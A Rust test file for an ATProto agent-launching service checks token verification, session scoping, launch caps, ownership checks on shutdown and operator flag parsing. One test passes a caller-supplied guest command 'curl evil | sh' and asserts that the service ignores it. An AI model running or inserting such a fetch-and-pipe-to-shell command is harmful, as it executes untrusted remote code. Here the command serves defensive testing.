// cargo test --release (after `cargo wasm` here and in the sibling checkouts): the handlers over the real // agents composition with a stub // account call (service-auth verification itself: atlibs rust/host/src/serviceauth.rs). No network. use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; use super::*; use atlibs_host::crypto::base58; use base64::Engine; use base64::engine::general_purpose::URL_SAFE_NO_PAD; use k256::ecdsa::signature::Signer; const ISS: &str = "did:plc:caller0000000000000000000"; const AUD: &str = "did:key:zDnaeService"; fn jwt(alg: &str, claims: Value, sign: impl Fn(&[u8]) -> Vec) -> String { let enc = |v: Value| URL_SAFE_NO_PAD.encode(v.to_string()); let signing = format!("{}.{}", enc(json!({ "typ": "JWT", "alg": alg })), enc(claims)); format!("{signing}.{}", URL_SAFE_NO_PAD.encode(sign(signing.as_bytes()))) } fn k256_key() -> k256::ecdsa::SigningKey { k256::ecdsa::SigningKey::from_slice(&[7u8; 32]).unwrap() } fn doc_for(prefix: [u8; 2], compressed: &[u8]) -> Value { json!({ "verificationMethod": [{ "id": "#atproto", "publicKeyMultibase": format!("z{}", base58(&[&prefix[..], compressed].concat())) }] }) } fn resolve_to(doc: Value) -> Resolve { Arc::new(move |_did| { let doc = doc.clone(); Box::pin(async move { Ok(doc) }) }) } fn auth() -> Auth { Auth { audiences: vec![AUD.into(), "did:web:did-key-zdnaeservice.xrpc.fedproxy.com".into()], issuers: vec![ISS.into()] } } fn claims(lxm: &str) -> Value { let now = now_ms() / 1000; json!({ "iss": ISS, "aud": AUD, "lxm": lxm, "iat": now, "exp": now + 60, "jti": uuid() }) } fn es256k(claims: Value) -> String { let key = k256_key(); jwt("ES256K", claims, |m| { let sig: k256::ecdsa::Signature = key.sign(m); sig.to_bytes().to_vec() }) } fn k256_doc() -> Value { doc_for([0xe7, 0x01], k256_key().verifying_key().to_encoded_point(true).as_bytes()) } // The account side: createRecord / putRecord / getRecord over a map, describeRepo answers, // chat.atirc.mint is refused (so a launch ends after its record and tears down) or, with `hang`, // never answers (a launch still starting); revoke answers; every call is logged. Launch records get // rkeys 3mzzlaunch, 3mzzlaunch1, ... #[derive(Default)] struct Stub(Mutex>, Mutex>, AtomicBool, AtomicUsize); impl Call for Stub { fn call(&self, nsid: String, request: Request) -> BoxFut<'_, Result, String>> { Box::pin(async move { let input = request.input.clone().unwrap_or(Value::Null); self.0.lock().unwrap().push((nsid.clone(), input.clone())); match nsid.as_str() { "com.atproto.repo.createRecord" | "com.atproto.repo.putRecord" => { let fresh = || match self.3.fetch_add(1, Ordering::SeqCst) { 0 => "3mzzlaunch".to_string(), n => format!("3mzzlaunch{n}"), }; let rkey = input["rkey"].as_str().map(String::from).unwrap_or_else(fresh); let uri = format!("at://{}/{}/{rkey}", input["repo"].as_str().unwrap(), input["collection"].as_str().unwrap()); self.1.lock().unwrap().insert(uri.clone(), input["record"].clone()); Ok(Some(json!({ "uri": uri, "cid": "bafy" }))) } "com.atproto.repo.getRecord" => { let p = request.params.clone().unwrap_or_default(); let uri = format!("at://{}/{}/{}", p["repo"].as_str().unwrap(), p["collection"].as_str().unwrap(), p["rkey"].as_str().unwrap()); let value = self.1.lock().unwrap().get(&uri).cloned().ok_or("RecordNotFound")?; Ok(Some(json!({ "uri": uri, "value": value }))) } "com.atproto.repo.describeRepo" => Ok(Some(json!({ "handle": "bob.test" }))), "chat.atirc.mint" if self.2.load(Ordering::SeqCst) => std::future::pending().await, "chat.atirc.mint" => Err("403 Forbidden".into()), "chat.atirc.revoke" => Ok(Some(json!({}))), _ => Err(format!("unexpected {nsid}")), } }) } fn subscribe(&self, nsid: String, _request: Request) -> BoxFut<'_, Result> { Box::pin(async move { Err(format!("no subscriptions: {nsid}")) }) } } async fn service(stub: Arc) -> Arc { let repo = Path::new(env!("CARGO_MANIFEST_DIR")).join(".."); let defaults = Map::from_iter([("user_data".into(), json!("#cloud-config\n{}\n")), ("bidders".into(), json!(["did:plc:4vcig7s43z3nyqrnepmcfzqt"]))]); let provides = HashSet::from(["com.fedfork.exec.iroh.connect".to_string()]); Service::new(load(&repo, "composition.json", &provides).await.unwrap(), Wasm::new(WALL_TIME_MS), None, stub, vec![], "did:plc:bob".into(), defaults, auth(), resolve_to(k256_doc())) } // Each instance calls as the account only within its own module's session record: agents' (records/agents.json) // writes launch records and may only delete rfp records, the requester's (its checkout's records/requester.json) // creates rfps and never touches launch records, and policy-open, with no session, makes no scoped call. One // shared operator call let every instance do all of these. #[tokio::test] async fn each_instance_is_held_to_its_own_modules_session_scope() { let stub = Arc::new(Stub::default()); let svc = service(stub.clone()).await; let create = |collection: &str| Request { input: Some(json!({ "repo": "did:plc:bob", "collection": collection, "record": {} })), ..Default::default() }; let call = |instance: &str, collection: &str| { let call = svc.calls[instance].clone(); let request = create(collection); async move { call.call("com.atproto.repo.createRecord".into(), request).await } }; const RFP: &str = "com.publicdomainrelay.temp.market.rfp"; assert!(call("agents", LAUNCH).await.is_ok()); assert_eq!(call("agents", RFP).await.unwrap_err(), "agents may not call com.atproto.repo.createRecord with sessions agents"); assert!(call("requester", RFP).await.is_ok()); assert_eq!(call("requester", LAUNCH).await.unwrap_err(), "requester may not call com.atproto.repo.createRecord with sessions requester"); assert_eq!(call("bid-policy", LAUNCH).await.unwrap_err(), "policy-open may not call com.atproto.repo.createRecord with no connected session"); // allow-bidders is an instance of agents: agents' scope assert_eq!(call("allow-bidders", RFP).await.unwrap_err(), "agents may not call com.atproto.repo.createRecord with sessions agents"); // public reads need no scope let read = svc.calls["bid-policy"].call("com.atproto.repo.describeRepo".into(), Request { params: Some(Map::from_iter([("repo".into(), json!("did:plc:bob"))])), ..Default::default() }).await; assert!(read.is_ok(), "{read:?}"); let made: Vec = stub.0.lock().unwrap().iter().map(|(_, i)| i["collection"].as_str().unwrap_or_default().to_string()).collect(); assert_eq!(made, [LAUNCH, RFP, ""], "only the allowed calls reached the account"); } fn request(method: &str, lxm: &str, body: Value) -> Value { json!({ "method": method, "params": body.clone(), "body": body, "authorization": format!("Bearer {}", es256k(claims(lxm))) }) } #[tokio::test] async fn handlers_check_auth_and_method_then_answer_with_the_launch_rkey() { let stub = Arc::new(Stub::default()); let svc = service(stub.clone()).await; let mut unauth = request("POST", LAUNCH_AGENT, json!({})); unauth["authorization"] = json!("Bearer nope"); assert!(svc.clone().handle(LAUNCH_AGENT, unauth).await.unwrap_err().starts_with("401 AuthenticationRequired")); assert!(svc.clone().handle(LAUNCH_AGENT, request("GET", LAUNCH_AGENT, json!({}))).await.unwrap_err().starts_with("405 ")); assert!(stub.0.lock().unwrap().is_empty(), "no call before auth and method pass"); // clients cannot override user_data; a bad name fails before any record let bad = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "Bad_Name" }))).await.unwrap_err(); assert!(bad.starts_with("400 InvalidRequest: name must be"), "{bad}"); let over = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc", "exp_s": 86401 }))).await.unwrap_err(); assert!(over.starts_with("400 InvalidRequest: exp_s must be 60 to 86400"), "{over}"); // nor the guest command: `agent` from a caller is ignored let out = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc", "user_data": "ignored", "agent": "curl evil | sh" }))).await.unwrap(); assert_eq!(out, json!({ "rkey": "3mzzlaunch", "uri": "at://did:plc:bob/com.fedfork.agents.launch/3mzzlaunch", "status": "launching" })); // shutdown waits for that launch (here: mint refused -> revoke -> record failed) before it runs let down = svc.clone().handle(SHUTDOWN_AGENT, request("POST", SHUTDOWN_AGENT, json!({ "rkey": "3mzzlaunch" }))).await; let calls: Vec = stub.0.lock().unwrap().iter().map(|(n, _)| n.clone()).collect(); assert_eq!(&calls[..2], ["com.atproto.repo.createRecord", "com.atproto.repo.describeRepo"]); assert!(calls.contains(&"chat.atirc.mint".to_string()) && calls.contains(&"chat.atirc.revoke".to_string())); let created = &stub.0.lock().unwrap()[0].1; assert_eq!(created["record"]["bidders"], json!(["did:plc:4vcig7s43z3nyqrnepmcfzqt"])); assert_eq!(created["record"]["agent"], "atirc agent run"); assert!(calls.iter().all(|n| !n.starts_with("com.fedfork.exec")), "never reached a VM"); // the failed launch already revoked; shutdown of it marks it stopped assert_eq!(down.unwrap()["status"], "stopped"); assert!(svc.clone().handle(GET_AGENT, request("GET", GET_AGENT, json!({}))).await.unwrap_err().contains("rkey is required")); // a service-auth token is good for one request let once = request("GET", GET_AGENT, json!({})); assert!(svc.clone().handle(GET_AGENT, once.clone()).await.unwrap_err().contains("rkey is required")); let again = svc.clone().handle(GET_AGENT, once).await.unwrap_err(); assert_eq!(again, "401 AuthenticationRequired: the token was already used"); } #[tokio::test] async fn any_signed_in_caller_may_launch_but_sees_and_stops_only_its_own() { let stub = Arc::new(Stub::default()); let mut svc = service(stub.clone()).await; Arc::get_mut(&mut svc).unwrap().auth.issuers.clear(); // no allowlist: anyone who can sign service auth let out = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc", "caller": "did:plc:spoofed" }))).await.unwrap(); let rkey = out["rkey"].as_str().unwrap().to_string(); let record = stub.1.lock().unwrap().values().next().cloned().unwrap(); assert_eq!(record["caller"], ISS, "the caller is the verified issuer, not what the body says"); // the same rkey asked by another account let other = k256::ecdsa::SigningKey::from_slice(&[11u8; 32]).unwrap(); let mut c = claims(GET_AGENT); c["iss"] = json!("did:plc:mallory"); let token = jwt("ES256K", c, |m| { let sig: k256::ecdsa::Signature = other.sign(m); sig.to_bytes().to_vec() }); let mut svc2 = service(stub.clone()).await; { let s = Arc::get_mut(&mut svc2).unwrap(); s.auth.issuers.clear(); s.resolve = resolve_to(doc_for([0xe7, 0x01], other.verifying_key().to_encoded_point(true).as_bytes())); } let req = json!({ "method": "GET", "params": { "rkey": rkey }, "authorization": format!("Bearer {token}") }); let err = svc2.clone().handle(GET_AGENT, req).await.unwrap_err(); assert_eq!(err, format!("403 Forbidden: launch {rkey} belongs to another caller")); let mine = svc.clone().handle(GET_AGENT, request("GET", GET_AGENT, json!({ "rkey": rkey }))).await.unwrap(); assert_eq!(mine["record"]["caller"], ISS); } #[tokio::test] async fn launches_per_caller_are_capped_and_another_callers_shutdown_is_refused_at_once() { let stub = Arc::new(Stub::default()); stub.2.store(true, Ordering::SeqCst); // launches stay starting let mut svc = service(stub.clone()).await; Arc::get_mut(&mut svc).unwrap().shutdown_wait = Duration::from_millis(300); let launch = || svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc" }))); let first = launch().await.unwrap()["rkey"].as_str().unwrap().to_string(); launch().await.unwrap(); let third = launch().await.unwrap_err(); assert!(third.starts_with("429 RateLimitExceeded: at most 2 launches"), "{third}"); // another account's shutdown of a starting launch: 403 without waiting for it let started = std::time::Instant::now(); let refused = svc.clone().shutdown("did:plc:mallory", &json!({ "rkey": first })).await.unwrap_err(); assert_eq!(refused, format!("403 Forbidden: launch {first} belongs to another caller")); assert!(started.elapsed() < Duration::from_millis(250), "no wait for the launch"); // the owner's shutdown of a starting launch: wait and run share one timeout -> stopping let started = std::time::Instant::now(); let stopping = svc.clone().handle(SHUTDOWN_AGENT, request("POST", SHUTDOWN_AGENT, json!({ "rkey": first }))).await.unwrap(); assert_eq!(stopping, json!({ "rkey": first, "status": "stopping" })); assert!(started.elapsed() < Duration::from_secs(2)); } #[tokio::test] async fn a_launch_is_shut_down_at_the_end_of_its_life_and_a_failed_one_frees_its_slot() { let stub = Arc::new(Stub::default()); let mut svc = service(stub.clone()).await; Arc::get_mut(&mut svc).unwrap().max_per_caller = 1; // mint refused: the launch fails and tears down, so it does not hold the caller's one slot let out = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc" }))).await.unwrap(); let rkey = out["rkey"].as_str().unwrap().to_string(); for _ in 0..200 { if svc.launches.lock().unwrap().is_empty() { break; } tokio::time::sleep(Duration::from_millis(25)).await; } assert!(svc.launches.lock().unwrap().is_empty(), "a failed launch leaves the table"); let next = svc.clone().handle(LAUNCH_AGENT, request("POST", LAUNCH_AGENT, json!({ "name": "svc" }))).await.unwrap(); // its lifetime ends: reap shuts it down as its caller and frees the slot let next = next["rkey"].as_str().unwrap().to_string(); assert_ne!(next, rkey); svc.launches.lock().unwrap().insert(next.clone(), Launch { caller: ISS.into(), done: watch::channel(true).1 }); let before = stub.0.lock().unwrap().len(); svc.clone().reap(ISS, &next).await; let after: Vec = stub.0.lock().unwrap()[before..].iter().map(|(n, _)| n.clone()).collect(); assert!(after.contains(&"com.atproto.repo.getRecord".to_string()), "{after:?}"); assert!(!svc.launches.lock().unwrap().contains_key(&next)); // a launch already shut down is not reaped again let before = stub.0.lock().unwrap().len(); svc.clone().reap(ISS, &next).await; assert_eq!(stub.0.lock().unwrap().len(), before); } #[tokio::test] async fn launches_are_capped_across_callers_and_issuers_may_name_a_did_method() { let stub = Arc::new(Stub::default()); stub.2.store(true, Ordering::SeqCst); // launches stay starting let mut svc = service(stub.clone()).await; { let s = Arc::get_mut(&mut svc).unwrap(); s.max_launches = 2; s.auth.issuers = vec!["did:plc:*".into()]; // opt-in: ATLIBS_AGENTS_ISSUERS=did:plc:* (default: anyone) } let as_caller = |iss: &str| { let mut c = claims(LAUNCH_AGENT); c["iss"] = json!(iss); json!({ "method": "POST", "params": {}, "body": { "name": "svc" }, "authorization": format!("Bearer {}", es256k(c)) }) }; svc.clone().handle(LAUNCH_AGENT, as_caller("did:plc:a1")).await.unwrap(); svc.clone().handle(LAUNCH_AGENT, as_caller("did:plc:a2")).await.unwrap(); let third = svc.clone().handle(LAUNCH_AGENT, as_caller("did:plc:a3")).await.unwrap_err(); assert!(third.starts_with("429 RateLimitExceeded: the service runs at most 2 launches"), "{third}"); let web = svc.clone().handle(LAUNCH_AGENT, as_caller("did:web:a4.evil.example")).await.unwrap_err(); assert_eq!(web, "401 AuthenticationRequired: issuer did:web:a4.evil.example is not allowed"); } #[test] fn operator_is_explicit_flags_only() { let args = |s: &str| s.split(' ').map(String::from).collect::>(); let read = |path: &str| if path == "pw.txt" { Ok(" secret-file \nignored\n".to_string()) } else { Err("no such file".to_string()) }; let var = |name: &str| (name == "OPERATOR_PW").then(|| "secret-env".to_string()); let parse = |s: &str| Operator::parse(&args(s), read, var); let op = parse("--app-password alice.test --password-file pw.txt").unwrap(); assert_eq!((op.handle.as_str(), op.password.as_str(), op.pds.as_str()), ("alice.test", "secret-file", "https://bsky.social")); let op = parse("--app-password alice.test --password-env OPERATOR_PW --pds https://pds.test").unwrap(); assert_eq!((op.password.as_str(), op.pds.as_str()), ("secret-env", "https://pds.test")); // No account without --app-password, whatever the environment holds; exactly one source. assert!(Operator::parse(&[], read, |_| Some("x".into())).err().unwrap().contains("--app-password is required")); assert!(parse("--app-password alice.test").err().unwrap().contains("exactly one")); assert!(parse("--app-password alice.test --password-file pw.txt --password-env OPERATOR_PW").err().unwrap().contains("exactly one")); assert!(parse("--app-password alice.test --password-env UNSET").err().unwrap().contains("unset")); assert!(parse("--app-password alice.test --password-file nope").err().unwrap().contains("no such file")); assert!(parse("--app-password").err().unwrap().contains("needs a value")); assert!(parse("--bogus x").err().unwrap().contains("unknown argument")); }